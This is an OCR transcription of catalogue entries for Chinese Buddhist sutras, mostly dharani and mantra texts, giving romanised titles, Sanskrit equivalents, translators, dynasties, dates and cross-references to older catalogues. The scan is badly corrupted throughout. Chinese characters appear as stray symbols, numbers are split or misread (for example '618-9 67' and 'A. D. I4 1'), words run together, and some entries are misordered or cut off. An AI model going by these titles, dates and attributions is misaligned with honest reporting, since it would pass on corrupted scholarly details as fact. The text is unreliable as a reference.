Wu-thi,o, A. D. 700,of the Thin dynasty, A. D. 618-9 07. 2 fasciculi ;chapters. According to the note at, the end, the lastchapter was translated by a Chinese priest namedHwui-zih, together with an Indian, Srmat by name.The above two works are similar translations. K' -yuen -1u, fasc. 4, fol. 1 9 b. These may be comparedwith the Tibetan version of the Arnoghapisa-piramiti-shat-paripuriya(1)-dhirant A. R. , p. 53 2 ; A. M. G. ,P. 3 3 0.3 15r9,7prf orNAJAmoghapasa-hridaya-sara.See No. 3 12. Translated by Bodhiruki, of the Thandynasty, A. D. 6 8-9 07. I fasciculus.31 6k;41 4 -A,* An A Jt ;gPu-khuit-kiien-soh-shan-kheu-sin-kiit.'Amoghapasarddhimantra-hridaya-stItra. 'AncioghapLa-hridaya. See Nos. 3 ' 2, 3 15.AmoghapLa-dharani.Conc, 468. Translated by Hhiien-kwin (Hiouen-thsang), A. D. 659 , of the Thi'fi dynasty, A. D. 618-9 07.fasciculus.The above two works, together with No. 3 12, aresimilar translations of the first chapter of No. 3 17.K'-yuen-lii, fasc. 4, fol. i9 a.31 7 '
*'Amoghapasarddhivikriti-mantra-stitra. 'Amoghapasa-kalparga.K'- yuen-lu, fasc. 4, fol. 18 b; A,R. , p. 53 7 ; A. M. G. ,P. 3 3 5.Amoghapasii-dhrani.Conc. 466. Translated by Bo. dhiruki, A, D. 707-709 ,of the Thin dynasty, A. D. 618-9 07. 3 o fasciculi;78 chapters. It agrees with Tibetan. K'-yuen-lu, s. v.Tshieri-yen-tshien-phi-kwan-shi-yin-phu-sa-tho-lo-ni-sb. an-kheu-kiii. Sahasraksha-sahasrabg,hv-avalokitesva. ra-bodhisattva-dharany-riddhi-mantra-siltra!Nilakantha.K'-yuen-lu, fasc. 4, fol. 19 b; Conc. 773 . Translatedby K'- thun, A. D. 627-649 , of the Thin dynasty,A. D. 618-9 07. 2 fasciculi.31 9 1 -fla nattv;i7 .1 -tiTshien. -sheu-tshien-yen-kwan. -shi-yin-phu-sa-mu-tho-lo-ni-shan-kiii. '(or 'old 'old woman') dlattrani-kaya-stitra. 'Nilakantha.Conc. 77o. Translated by Bodhiruki, A. D. 709 , ofthe Thin dynasty, A. D. 618-9 67. I fasciculus.The above two works are similar translations, andthey agree with Tibetan. K'-yuen-lu, fasc. 4, fol. 19 b.These or No. 3 20 may be compared with a Tibetanwork, having no 'Sanskrit title, explained as follows :The minute rituals and ceremonies of Avalokitesvara,who has a thousand hands, and as many eyes. ' A. R. ,p. 53 2 ; A. M. G. , p. 3 3 0.3 209UP* MI ;Tshien-shou-tshien. -yen-kwan-shi-yin-phu-sa-kwil-ta-yuen-mba-wu-Mi-ta-pi-sin-tho-lo-ni-ki.Sahasrabalu-sahasraksha-avalokitesvara-bodhisattva-mahapihnl-pratihata-mahnrunikahridaya-dhfirani-sittra. 'Translated by Ki-fin-ti-mo (Bhagavaddharma 1), ofthe Thin dynasty, A. D. 618-9 07. i fasciculus. At theend, there is added a transliteration of the k nTi-pg-kheu, or the Mahakirunika-mantra (or -dhi-rant): 4 leaves. Apreface is added by the EmperorKhiii-tsu, of the Min dynasty, dated A. D. I4 1. Ac-cording to the K'-yuen-lu (fasc. 4, fol. 20 a), there was . alater translation of this SAtra, and they both agree withTibetan. But the later translation, made by Amogha-vagra, is not found in this collection. No. 3 20 has beena very popular work in China, since the later Sundynasty, A. D. 9 6o-1127. K'-tsi, fan, 14, fol. ii a seq.Cf. Edkins, Chinese Buddhism, p. 1 3 2 ; where, however,the work is mentioned, as if it were the later translationabove mentioned.3 21 Wa -alt ,. #1,rliwan-shi-yin-phu-sa-pi-mi-tsaA-shan-kheu-kin.'Avalokiteavara-bodhisattva-guhyagarbharddhimantra (or,dhfirani)-siltra. 'Padmakintamani-dhrani-sfitra.Conc. 3 06. Translated by Sikshinanda, of the Thandynasty, A. D. 618-9 07. Io leaves; 6 chapters.G0,-9 leaves.83STRA-PITAKA.84n n 1 HI
-R H A 32234
Agri . ^ftsfit ^:' ^g^-,,.Kwn-shi- yin -phu-s-zu-i-mo- ni -. Avalokitesvara-bodhisattva-kintamani-dhrant-sutra:Padmakintmani-dhran4-stra.Conc. 3 07. Translated by Ratnakinta, of the Thindynasty, A. D. 618-9 07.3 23 MI, n. igKwn-tsz'- tsi- phu-sa-zu-i- sin -tholo-ni-kin.'Avalokitesvara-bodhisattva-kintthridaya (or -manas for mani 1)-dhrant-sutra. 'Padmakintmani-dhranf-sh. tra.Conc. 3 1o. Translated by I-tsin, A. D. 710, of theThan dynasty, A. D. 618-9 07. 4 leaves.324tri ; ;I tZu-i-lun-tho-lo-ni-ki.' Kintakakra-dhrant-sutra. 'Padmakintmani-dhranf -stra.K'-yuen-lu, . fasc. 4, fol. 20 b. Cf. Conc. 247, wherehowever another Sanskrit title is mentioned. Trans-lated by Bodhiruki, A. D. 709 , of the Thin dynasty,A. D. 618-9 07. I fasciculus ; ro chapters.The above four works are similar translations, andthey agree with Tibetan. K'-yuen-lu, s. v.3 25 ^^^^' ^ ^'^^ ^r ^^^E Jt ^^:^^,,Kwn-tsz'-tsi - phu- s -ta - fo-to_ -li-sui-sin-tho-lo-ni-ki.`Avalokitesvara-bodhisattva-(saman) tabhadrg,nuhridaya (?)--dhrant-sutra. 'Translated by K'- thun, A. D. 653 , of the Than dynasty,A. D. 618-9 07. I fasciculs.3 26 ^^ '" F#, r.tTshi-kwn-shi-yin-phu-s-sio-fu-tu-hi-tho-lo-ni-kheu-ki.`Sutra of the Dhrant-mantra for asking the BodhisattvaAvalokitesvara to counteraci; the injury of a poison. 'Translated by Ku Nandi, A. D. 42o, of the Eastern Tsindynasty, A. D. 3 17-420. 15 leaves. There was an earliertranslation ; but it was lost already in A. D. 73 o. Khii-yuen-lu, fase. 14 a, fol. 22 b; K'-yuen-lu, fasc. 5, fol. 3 b.3 27AtFo-shwo-shi-yi-mien-kwn-shi-yin-shan-kheu-ki.` Buddhabhashita-ekadasamukhavalokitesvara-bodhisattvarddhi-mantra-sutra:Avalokitesvaraikadasamukha-dhtanf .A. R. , p. 53 3 ; A. M. G. , p. . 33 o. Translated by Yaso-gupta, of the Northern Keu dynasty, A. D. 557-581.1 3 leaves.3 28 rShi-yi-mien-shah-kheu-sin-ki.Ekadasamukharddhimantra-hridaya-sutra. 'Avalokitesvaraikadasainukha-dhranf .Translated by Hhen-kwin (Hiouen-thsang), A. D.656, of the Thin dynasty, A. D. 618-9 07. 13 leaves.The above two works are similar translations of aStra in fasciculus 4 of No. 3 63 ; and they are wantingin Tibetan. K'-yuen-lu, fasc. 4, fol. 23 a seq.329xna'attzTshien-kw4ho-10-ni-kwn-shi-yin-phu-s-kheu-kin .Sahasrapravartana-dhrany-avalokitesvara-bodhisattva-mantra-sutra. 'Translated by K'-thun, A. D. 653 , of the Thin dynasty,A. D. 618-9 07. 5 leaves. This is a similar translationof a Mantra or Dhirant, in No. 3 47, and in fasciculus 5of No. 3 63 ; and it is wanting in Tibetan. K'-yuen-lu,fasc. 4, fol. 23 b seq.3 3 0VKheu-wu-sheu-ki.` Sutra of five Mantras. 'Translated by Hhen-kwn (Hiouen-thsang), A. D. 664,of the Thin dynasty, A. D. 618- 9 07. 3 leaves. Thefirst three of the five Mantras are similar to those ofNos. 329 , 3 31 , and 3 44, and the fifth is to that ofNo. 3 25; while the fourth seems to be a single transla-tion or transliteration. Cf. K'-tsiii, fasc. 1 4, fol. 3 o b.3 3 Ti1^Liu-tsz'- shan-kheu-ki.Shadakshararddhimantra-sutra. 'Shadaksharavidyamantra.A. R. , p. 5 2 6 ; A. M. G. , p. 3 25. Translated byBodhiruki, A. D. 69 3 , of the Thin dynasty, A. D. 618-9 07.4 leaves. This is a similar translation of a Mantra or85STRA-PITAKA.86Dhrani, in No, 3 47, and in fasciculus 6 of No. 3 63 .It agrees with Tibetan. K'-yuen-lu, fasc. 4, fol. 23 hseq.3 3 2 41Kheu-sn-sheu-ki.Sutra of three Mantras. 'Translated by Divkara, of the Thin dynasty, A. D.618-9 07. i leaf. The first and third- Mantras aresimilar to those in No. 3 6. 3 ; while the second seems tobe an independent translation or transliteration. Cf.K'-tsi, fasc. 14, fol. 3 o a.3 3 3 jC*41 41 IC. ^^411 * --- 41 litT-f-kw-phu-s-tsli-ki-ku- wan-shu-sh'- li-kan-pan-yi-tsz'- tho- lo-ni-f.' Magusrl-m laikakshara-dharant-dharma, in the Mahavaipulya-bdhisattva-pitaka-s tra. 'Translated by Ratnakinta, A. D. 702, of the Thindynasty, A. D. 618-9 07. 5 leaves.3 3 4 11 1 1 .* 41Mn-shu-shih-li-phu-s-kheu-tsn-kuA-yi-tsz'-kheu-wA-ki.`Ekakshara-mantraraga-sutra, in the Magusrl-bodhisattva.mantra-pitaka. 'Translated by I-tsi, A. D. 703 , of the ThAn dynasty,A. D. 618-9 0. 7. 5 leaves. .The above two works are similar translations, andthey are wanting in Tibetan. K'-yuen- lu, fasc. 4, fol.2I a.335 .jj,eYEMShi -'rh-fo-min-span-kheu-kio-liar-kuA-th-khu-kaA-mih-tsui-ki.' Sutra of the spiritual Mantra of the names of twelve Buddhas,which recounts their good qualities, removes obstacles, anddestroys sin. 'Dvdasabuddhaka-sutra.K'-yuen-lu, fasc. 4, fol. 21 b; Conc. 67 ; A. R. , p. 469 ;A. M. G. , p. 2 7 3 . Translated by Cinagupta, A. D. 587,of the S{ dynasty, A. D. 589 (or 581)-618. 7 leaves.3 3 6 w*^,,t^^ Ts^ ,41Fo-shwo-khan-tsnzu-1M-kuii-th-shan-kheu-ki.' Buddhabhashita-prasamsita. tathagata-gunarddhi-mantra-sutra. 'Dvdasabuddhaka-sutra. See No. 3 3 5.Dvdasabuddhaka-dharani. "Conc. 7 o 1. Translated by I-tsi, A. D. 71 i, of the Thin.dynasty, A. D. 618-9 07. 5 leaves.The above two works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fasc. 4, fol.21 b. See, however, the last two authorities mentionedunder the title of No. 3 3 5.^^;^^ 3 3 7n ^iP A^Hw-tsi-tho-lo-ni-shan-kheu-ki. .' Pushpak ta-dharany-riddhimantra-sQ tra. 'Pushpakflta.A. R. , p. 526 ; A. M. G. , p. 3 25. Translated by Tr'Khien, of the Wu dynasty, A. D. 222-280. 3 leaves.3 3 8 na R 1Sh'- tsz'- fan-hhiin-phu-sa-su-wan-kin.`Simharshabha (7)-bodhisattva- pariprikkh- s tra. 'Pushpakilta.See No. 3 3 7. Translated under the Eastern Tsindynasty, A. D. 3 17 42o; but the translator's name islost. 4 leaves.3$9
^, iitit Mfr=' MFo-shwo-hwa-ts-tho-lo-ni-kin.' Buddhabhshita-pushpakta-dhranl-sfltra. 'Pushpakfita. lSee No. 3 3 7. Translated under the Eastern Tsindynasty, A. D. 3 . I 7-420 ; but the translator's name islost. . 3 leaves.The above three works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fase. 5, fol.2 a. See, however; the authorities mentioned underthe title f No. 3 3 7.340i' Liu-tsz'- kh. eh-w-ki.' Shadakshara-mantraraga-sAtra. 'Shadakshara-vidymantra.A. R. , p. 526; A. M. G. , p. 3 25. Translated underthe Eastern Tsin dynasty, A. D. 3 17-420; but thetranslator's name is lost. 7 leaves.G2n87StfTRA-PITAKA. 883 46 -L 14 r^Ji AtLiu-tsz'-ahan-kheu-wli-ki1i.' Shadakshararddhimantraraga-sutra. 'Shadakshara-vidyamantra.See No. 3 40. Translated under the Liii dynasty,. 1. D. 502-557; but the translator's rame is lost. 9leaves.Th above two works are similar translations ofNo, 3 3 1, and they agree with Tibetan. K'-yuen-lu,fasc. 4, fol. 24 a.342Fn-n-sheu-i-ki.' Brahmans-srimatt-sutra:Srm at-brhman-pariprikkhit.A. R. , p. 450; A. M. G. , p. 255. Translated by KuFit-hu (Dharmaraksha), of the Western Tsin dynasty,A. D. 265-3 16. 7 leaves.343
C Pft^ CYiu-th-n-su-wan-t-sha-ki.' Srimatt-stri-pariprikkha-mahayana-sutra. 'Srmat-brhmanf --ariprikkha.See No. 3 42. Translated by Bodhiruki, A. D. 69 3 , ofthe Thin dynasty, A. D. 618-9 07. 5 leaves. This N. rkis mentioned in Wassiljew's Buddhismus, 175.The above two works are similar translations, andthey agree with Tibetan. Cf. K'-yuen-lu, fasc. 4,fol. 4 b ; K'- tails, fasc. 8, fol. 17 a seq.3 44 ' w^^^^; ^^: ; ^^li^.jC'^ ^ ^ ...XVFo-shwo-tshi-k- k'-fo -mu - sin -t-kun-thi-tho-lo-ni-kin.' Buddhabhashita-saptakotibuddhamatrika-hridaya-mand,kundi-dharani-sutra. 'Kund-devf-dhran.A. R. , p. 518 ; A. M. G. , p. 3 18. Translated by Diva-kara, A. D. 685, of the Thii dynasty, A. D. 618-9 07.4 leaves.3 45-LMI-14 14.^^lit A:-^^Fo - shwo - tshi - k - k'- fo - mu - kun -thi -t-mi-tho-lo- ni-kiln.' Buddhabhshita-saptakot,ibuddhamatrika-kundi-mahavidya-dhrani-sutra. 'Kund-dev-dhran.See No. 3 44. Translated by Vagrabodhi, A. D. 723 ,of the Thii dynasty, A. D. 618-9 07. I fasciculus.Tshi-kii- k'- fo-mu-su-shwo-kun-thi-tho-lo-ni-khi.' Sat,takotibuddhamttrika-bhashita-kudl.nt-sfltra.'Kundt-dev-dhran.See No. 3 44. Translated by Amoghav: i :, of theThii dynasty, A. D. 618-9 07. 1 fasciculus.The above three works are similar translations, andthey agree with Tibetan. K'-yuen-lu, fasc. 4, fol. 24 b.Nos. 3 45 and 3 46 have an additional part called the' law of the practice of meditation. '3 477 7OftSun-kuni-ts-kheu-kin.' Nana-samyuktamantra-sutra. 'Translated ; by Gan upta, of the Sui dynasty, A. D.618-9 07. i i leaves. It contains twenty-three Man-tras or Dhrants, of which the fifteenth is similar to.that of No. 3 29 , the twentieth , to that of Nos. 3 44-3 46, and the twenty-second to that , of Nos. 3 31 , 3 4o,3 41. Cf. K'-yuen-lu, fasc. 4, fol. 25 a; K'-tsiii, fasc.14, fol. 3 o b seq.3 48 P T -- 3 /0 A' it ';t<Fo-ti^i-tsun-shah-tho-lo-ni-ki.' Sutra of the honourable and excelling Dharani of Buddha's head. 'Sarvadurgatiparisodhana-ushnsha-vigaya- dhran.K'-yuen-lu, fasc. 4, fol. 25 b; Conc. 173 . Translatedby Buddhapla, A. D. 676, of the. Thii dynasty, A. D. 618-9 07. 8 leaves. There are two prefaces, namely : 1. Thatby the Emperor Khii-tsu, of the Mini dynasty, datedA. D. 1411. 2. That by a priest named K'-tsiii, of theThii dynasty.349 The same as No. 3 48.Translated by Tu Hhiii-i, A. D. 679 , of the naildynasty, A. D. 618-9 07. 9 leaves.3 50 :; ^^r^^^^^^_ ftFo-shwo-fo-ti-tsun-sha. -tho-to-ni-ki .Sutra spoken by Buddha on the honourable and excellingDharani of Buddha's head. 'Sarvadurgatiparisodhana-ushnsha-vigaya-dhrantSee No. 3 48. Translated by I-tsiri, A. D. 710, of theThii dynasty, A. D. 618-9 07. 9 leaves.3 41 j354A89STRA-PITAKA.9 0356 10 ft 1H t 1);. ,rti 1-* 41 3 51a 'f'; 11R lit2AD;` , '".Tsui-shan-fo-tin-tho-lo-ni-tsin-khu-yeh-ktui-kin.ERltra of the-most excelling Buddha's head's Dhfirant, whichpurifies the obstacle . of Karma. 'Sarvadurgatiparisodhanapushnisha-vigaya-dhirani.Conc. 782. Translated by Div ra, of the Thindynasty, A. D. 618-9 07. i6 leaves.3 52 s TR a Mt fit' Stara of the most excelling Dharant of Buddha's head. 'Sarvadurgatiparisodhana-ushnisha-vigaya-dhira nConc. 173 . Translated by Divakara, A. D. 682, of theThin dynasty, A. D. 618-9 07. 7 leaves. This is Diva-kara's first translation, while No. 3 51 is his second andfuller version.The above five works are similar translations, andthey agree with Tibetan. K'-3 ruen-lu, fasc. 4, fol. 25 b.353 * 1 1 1 n . 7 it'Sariputra-dhirant-stitra. '.An. antimukha-s&dhaka-dhaiani(?).A. R. , p. 445 ; X. M. G. , p. 25o. Translated by,Sanghapila, of the LW. ' dynasty, A. D. 502-557.12 leaves.t P9 , lit(;`,11Fo-shwo-wu-liin-man-pho-rno-tho-k-niLkin.Buddhabhashita-amitamukha-mAragid (?)-dharant-gitra. 'Anantamukha-Adhaka-dhrani (?).See No. 3 53 . Translated by Kmi-tstih-kih, togetherwith Iihtien-khiii, A. D. 462, of the earlier Sun dynasty,A. D. 420-479 . 1 3 leaves.3 55 f001,1 !. P9 10 2Fo-shwo-wu-littn-man-wi-mi-kh'- kin. 'Buddhabhshita-amitamukhn-guliyadhara-stitra. 'Anantaraukha-sildhaka-dharani(?).See No. 3 53 . Translated by K' Khien, of the Wudynasty, A. p. 222-280. 7 leaves.Fo-shwo-kh,u-shaft-wu-iiin-man-kh'-kin.Buddhabliashita-othamitamukhadhara. :gitra. 'An. antainukha-sadhaka-dhirani,(?).See No. 3 53 . Translated by Buddhabhadra, of theEastern Tsin: dynasty, A. D. 3 17-420. I I leaves.357 1 4
HR. ,. -nftn-tho-mu- kh -ni -h-lj-tho-un-ni-kinAnantamukhanirhAri (?)-dhirani-sittra. 'Anantaraukha-sadhaka-dhirani(?).See No. 3 53 . Translated by Buddhasanta, of theNorthern NV& dynasty, A. D. 3 86-53 4. 1 4 leaves.3 580N41Anantam uk hanirhAri-dhl (rani ?)-st. tra. 'Anantamukha-sidhaka-dharani (?).See No. 3 53 . Translated by Gunabhadra, of theearlier Sun dynasty, A. D. 420-479 . 12 leaves.3 59 f: t7,t,ri. ;10 tFo-shwo-yi-hhian-khu-shan-phu-s,-kin.Buddhabbashita-elsamukbagata-bodhisattva-satra. 'Anantamukha-sftdhaka-dhirani(?).See No. 3 Translated by Gianagupta, A. D. 585, ofthe Sui dynasty, A. D. 589 (or 58 )-6 8. i fasciculus.3 60 WIt 41Khu-shan-wu-pien-ma,n-tho-k-ni-kin.Gl. titnamtamukha-dhranti. stltra. 'OAnantamukha-sildhaka-dhrani (?).See. No. 3 53 . Translated by K'-yen, A. D. 721, ofthe Than, dynasty, A. D. 618-9 07. i fasciculus. 'The above eight works are similar translations, longand short. fuse. 13 , fol. 20 b.3 61 JMn 'Su-dhvaga-bhu-mudrl-dhAraizt-satra. 'Translated by lihtien-kwaii (Flionen-thsani), A. D. 654,of the Thiii dynasty, A. D. 618-9 07. 4 leaves.9 1StITRA-PITAKA. 9 23 62fl t 01 .`Subahu-mudri-dhvaga-dhrani-sAtra. 'Translated by Sikshinanda, of the TWAdynasty,A. D. 618-9 07. 2 leaves.The above two works are similar translations, andthey are wanting in Tibetan. K'- yuen-l p , fase. 5, for z a.3 63 foist e. ms!?,,Buddhabh Ash ita-dbitrant-sa h grab a-silt raTranslated by 6-ti-kh,u-to (Atiguptal), A. D. 653 -654,of tilt Thb.'11. dynasty, A. D. 618-9 07. 13 fasciculi. Deestin Tibetan. K'-yuen-lu, fasc. 4, fol. 22 b. Some of theDhiranis in this work are similar to those of Nos. 3 273 2 9 , etc. This work may be compared with someNepalese MSS. mentioned in Catalogue . of the godgsonManuscripts, I. 55, 59 , 7; III. 3 6 ; IV. 6 a; VI. 2 I.3 64nflFo-shwo-kh'-BuddhabhAshita-padadhararddhimantra-stitra. 'Translated 'by K' Khien, of the Wu dynasty, . A. D.222-280. 4 leaves.3 65
411i fe4'BuddhabhAshita-dhArant-pltra-ditra. 'Translated by Buddhasnta, of the Northern Widynasty, A. D. 3 86-53 4. , 4 leaves.3 66 At k aki*
TA- a RH'it 41Tun - fan - tsui - shaft- tad -whil-zu-1M-ku-hu-kh'-shi-kien-shan-kheu-kift.Stara of the spiritual Mantra (or Dhttrani) of the TathagataAnuttaradiparaga, who helps, protects, and holds the world. 'Translated by Gnagupta, of the Sui dynasty, A. D.589 -6 i 8. 15 leaves.The above three works are similar translations, andthey are wanting in Tibetan. K'-yuen-lu, fasc. 5, fol. 3 a.3 67 trl;VIZu-1&i-fail-pien-shan-khao-kheu-kTatlagatopayakausalya-mantra-sittra. 'Saptabuddhaka-siltra. ,K'-yuen-lu, fasc:5, fol. 2 a; Cone. 248; A. R. , p. 469 ;A. M. G. , p. 272. Translated by Giiinagupta, A. D. 587,of the Sui dynasty; A. D. 589 (or 581)-618. 12 leaves.3 68 3 k Ari * -:
f iL-khun-ts43 1-phu-sa-wan-tshi-fo-tho-lo-ni-kkeu-kifi.'Ilcitsagarbha-bodhisattva-pariprikkh. ft-saptabuddha-dharant-mantra-sAtra. 'Saptabuddha,ka-siltra.Conc. 1 9 8. Translated under the Lian dynasty, A. D.502-557; but the translator's name is lost. 13 leaves. ,The above two works are similar translations, andthey agree with Tibetan. K'-yuen-lu, fase. 5, fol. 2, b.3 69 *aticstit YE 41Shan-n-fan-pien-tho-lo-ni-kheu-kin.SaddharmopAya-dbarani-mantra-siltra. 'Translated by Gianagupta, of the Sui dynasty, A. D.589 -618. 6 leaves.3 70 4. 1411*Pti 1stJ gVagraguhya-sad (dharni a) paryftya-dharant-stara. 'Translated by Gianagupta, of the Sui dynasty, A. D.589 -6 8. 7 leaves.3 71P9 11 gHu-rai4-fft-man-shan-kheu-kiit.yushpala-dharrnaparygyarddhimantra-sittra. 'Translated by Bodhiruki, A. D. 69 3 , of the Thandynasty, A. D. 618-9 07. 14 leaves.The above three works are similar translations, andthey are wanting in Tibetan. K'-yuen-hi, fasc. 5, fol. 3 a.3 72.Kh tho -lo -ni-kin .'Itagrarnanda-dhArant-siltra. '
,aShi-ku-tw-ki-ki.` Sfltra on the cutting of the tie (of passions) in the tendwellings (i. e. steps of a Bodhisattva lower than thten Bhflmis). 'Translated by Fo-nien, of the Latter Tshin dynasty,A. D. 3 84-417. 14 fasciculi ; 3 3 chapters. It agreeswith Tibetan. K'-yuen-lu, fasc. 3 , fol, zo a-a g 3 77'Phu-sa-do-shu-kiii.'Bodhisattva-bodhivri-ksha-sfltra. 'Translated by K' Khien, of the Wu dynasty, A. D.222-280. 1 fasciculus. Deest in Tibetan. K'-yuen=lu, fasc. 3 , fol. 15 a seq.3 78jPhu- s-sha-ti-ki.'Bodhisattva-g&tabhflmi-stitra. 'Kshmkara-bodhisattva-sfltra.Conc. 48 4. Translated by K' Khien, of the Wudynasty, A. D. 222-280. 4 leaves. Deest in Tibetan.K'-yuen-lu, fasc. 3 , fol. '16 a.work a well- known account concerning Getavana, orthe Prince Geta's grove, and' Anithapindada's Arimaor garden is given ; then follows a life of Poh (orPushya I), the third son of a Brahmakirin of theGautama family, one of Buddha's former births.This Gitaka was spoken by Buddha to the King' Pra-senagit, on the eighth clay after Buddha. had met withthe. ill-fame concerning the woman ' Sundart, as theconsequence of his former deed. K'-tsi, fasc. 3 1, fol.2Z a, ' where this work is taken as a Hinayina-sfltra.3 80 ,:;. jc fit A: ftWu-keu-tsi. xi-kw-t-tho-lo- ni-kiii.` vimalasuddhaprabhasa-mah&dh&ranl-sfltra,'Translated by Mi-tho-shan (Mitrasnta ?), A. D. 705,of the Thin dynasty, A. D. 618-9 07. 1 fasciculus.3 81 J- 7t EAK/r ft-k-kw-mi-titi-i-kits.' Parnaprabh &sa-3 am&dhimati-sfltra,'Translated by K' Yo, A. D. 185, of the Eastern Handynasty, A. D. 25-22o. i fasciculus.3 82379 lit Fo-shwo-poh-ki.'Stara spoken by Buddha on (the history of) Poh (or Pushya ?). 'Translated by K' Khien, of the Wu dynasty, A. D.222-280. I fasciculus. At the beginning of thisMo-h-mo-ye-ki.Mahmy-sfltra.Cone. 3 64. Translated by Thin-ki, of the Northern,Tshi dynasty, A. D. 550-577 2 fasciculi. This work ,is also called the ' SO. tra of Buddha's ascent to the'u1 1 1 g9 5STRA-PITAKA. 96Trayastrimsa heaven to preach the law to his mother. 'It is stated in the note at the end (dated A. D. 1283 ),that there was a chapter on dividing Buddha's relicsamong eight places, which formed the latter part ofthis work. But it ought to have belonged to theNirvna-stra, and it was not given in the Indiantext; so that the chapter is now omitted in this book,'It agrees with Tibetan. K'-yuen-lu, fasc. 3 , fol. 18 a.3 83 M.Ku-th-fu-thiert-kil.rvaguna-punyakshetra-stltra. ' Translated by F-li and FA-kii, of the Western Tsindynasty, A. D. 265-3 6. 7 leaves. Deest vin Tibetan.K'-yuen-lu, fasc. 3 , fol. i6 b. Conc. 727 gives wronglyto this work the Sanskrit title of No. 3 85.384T'g YitMahAvaipulya-tathtlgata rbha-stitra. 'Tathigatagarbha-siara.K'- yuen-lu, fasc. 3 , fol. 1 6 b. ; Conc. 6o6 ; A. R. ,P. 466 ; A. M. G. , p. 269 . Translated by Buddha-bhadra, of the' Eastern Tsin dynasty, A. D. 3 I7-42o.13 leaves. It agrees with Tibetan. K'-yuen-lu, s. v.3 85$1BuddhablAshita-ratnagali-stara. 'Ratnagali-pariprikkhet.K'- yuen-lu, fasc. 3 , fol. 16 a; Conc. . 41 9 ; A. R. ,P. 449 ; A. M. G. , p. 254. Translated by Ku Fa-hu(Dharmaraksha), of the Western Tsin dynasty, A. D.265-3 16. i fasciculns. It agrees with Tibetan. K' -yuen-lu, s. v.3 86 1 1}-) rA,NNUffRflAt. 77.sutra spoken by Buddha on a hundred precious,things inthe inner repository. 'Lokanuvartana-sara.K'-yuen-lu, fasc. 3 , fol. 15 a; Cone. 3 82.Loldnusaminavatra-siltra.A. R. , 455; A. M. G. , p. 259 ;3 82. Trans-lated by K'(Lokaraksha7), of the Easternlean dynasty, A. D. 25-220. 8 leaves, It agrees withTibetan. s. v.1 1 3 87'7/3 AfffSiltra spoken by Buddha on (Giva's inviting) many priests towash themselves in a bath-house. 'Translated by . 1n Shi-ko, of the Eastern Handynasty, A. D. 25-220, 4 leaves. It agrees withTibetan. K'-yuen-lu, fasc. 3 , fol. 15 b. Conc. 79 5gives wrongly to this work the Sanskrit title of No.3 86. .11-E-Ft4tFo-shwo-phu-A-hhitt-wu-shi -yuen-shan-kin. Siltra spoken by Buddha on (the characteristic marks en)his person as (the results ot) fifty causes of the practiceof Bodhisattva. 'Translated by Ku F-hu (Dharmaraksha), of theWestern Tsin dynasty, A. D. 265-3 16. 8 leaves.Deest in Tibetan. K'-yuen:-1u, fasc. 3 , fol. 1 6 b.3 89 Sftt"rt .1 1Fo-shwo-phu-s&-siu-hhitL-kin.Buddhablifishita-bodhisattvalcary6. -satra. 'Translated by Po F-tsu, of the Western Tsindynasty, A. D. 265-3 16. ii leaves. Deest in Tibetan.K'-yuen-lu, fasc. 3 , fol. i6 b.3 9 0 f0 PA4 aBuddhabhilshita-kanakavarnaraga-sqtra. 'Kanakavarna-prvayoga.A. R. , p. 483 ; A. M. G. , p. 286. Translated byGau-tama Pragfiiruki, A. D. 542, of the Eastern Wi dynasty,A. D. 53 4-55o. II leaves, consisting of 3 ,514 Chinesecharacters. Deest in Tibetan. K'-yuen-lu, fan. 3 ,fol. 17 a. See, however, the authorities mentionedunder the title.3 9 1f. . . 1 9 gBuddhavakana-dharmaparyaya-stara. 'Translated by Bodhiruki, of the Northern Widynasty, A. D. 3 86-53 4. 6 leaves.3 9 2 STIT 14Fo-shwo-sz'- pu-kho-th-kin.BuddhabhAshita-katurdurlabha-sfitra. 'Translated by Ku Fa-hu (Dharmaraksha), of th(Western Tsin dynasty, A. D. 265-3 16. 7 leaves. Deesiin Tibetan K'-yuen-lu, face. 3 , fol. 16 a.3 88 -OD394 l Ftt -11 it 411. 19 7StTRA-PITAKA.9 8*Sii-kan-thien-tsz'- kin. Sukinti (?)-devaputra-satra. 'Translated by Ku Fi-hu (Dharmaraksha), A. D. . 266,of the Western Tsin dynasty, A. D. 265-3 16. 2 fas-ciculi ; io chapters. It agrees with Tibetan. K'yuen-lu, fase. 3 , fol. 1 7 b.Fo-shwo-kwan-phu-hhien-phu-sa-hhiii-fl-kiti.Sfitra spoken by Buddha on the law of practice of meditationon the Bodhisattva Samantabhadra. 'Translated by Dharmatnitra, of the earlier Sundynasty, A. D. 420-479 . i fasciculus. Deest in -Tibe-tan. K'-yuen-lu, fasc. 3 , fol. i8 b seq.3 9 5 IQ a -ag Kwin - shi-yin phu-s-th - shi-phu-s-sheu-ki-kin.g Avalokitesvara-bodhisattva-mahsthilmaprpta-bo4dhisattva-vyttkarana-siltra. 'Translated by Than-wu-ki (Dharmakra I), of theearlier Sun dynasty, A. D. 42o-479 . if ciculus. Deestin Tibetan. K'-yuen-lu, . fasc. 3 , fol. x8 a seq.3 9 64e. 0 fift rtit 'Pu-sz'-i-kwan-phu-Sa-su-shwo-kin.Akinty' aprabhasa-(bodhisattva)-nirdesa-sara.K'- yuen-lu, fasc. 3 , fol. 1 9 a; Conc. 49 5 ; A. R. ,p. 43 0 ; A. M. G. , p. 23 5. Translated by Kurniragiva,of the Latter Tshin dynasty, A. D. 3 84-417. I fasciculus.It agrees with Tibetan. K'-yuen-lu, s. v.3 9 7a Ft 9 1 21 1 .Siltra on the Sarnadhi called Surpassing the brightness of thesun (or, Saryagilimikarana-prabhi?). 'Translated by Neih Khan-yuen, of the Western Tsindynasty, AD. 265-3 16. x fasciculus. Deest in Tibetan.K'-yuen-lu, face. 3 , fol. 20 a.3 9 8418u-khuti-tsai-hwin-kiit.Sears on removing fear, misfortune, and anxiety. Srikan tha-settra.K'- yuen- lu, face. 3 , fol. 18 a; Conc. 724. Translatedby Shaii-kien, of the Western Tshin dynasty, A. D. 3 8543 x. I fasciculus. lt agrees with Tibetan. K'-yuen-lu, s. v.3 9 9 'ND ItFo-shwo-sheu-lan-yen-shn-m'ei-kin.Buddhablig. shita-stirfiaigama-sainadhi-stltra. 'Setrititgama-samadhi.K' yuen-lu, fasc. 3 , fol. i8 b; Conc. 65 ; A. R. , p. 444;A. M. G1- :, p. 249 ; Wassiljew, p. 175. Translated by Ku-inaragiva, of the Latter Tshin dynasty, A. D. 3 84-417.3 fasciculi. It agrees with Tibetan. K ' - yuen-lu, s. v.In his version of the 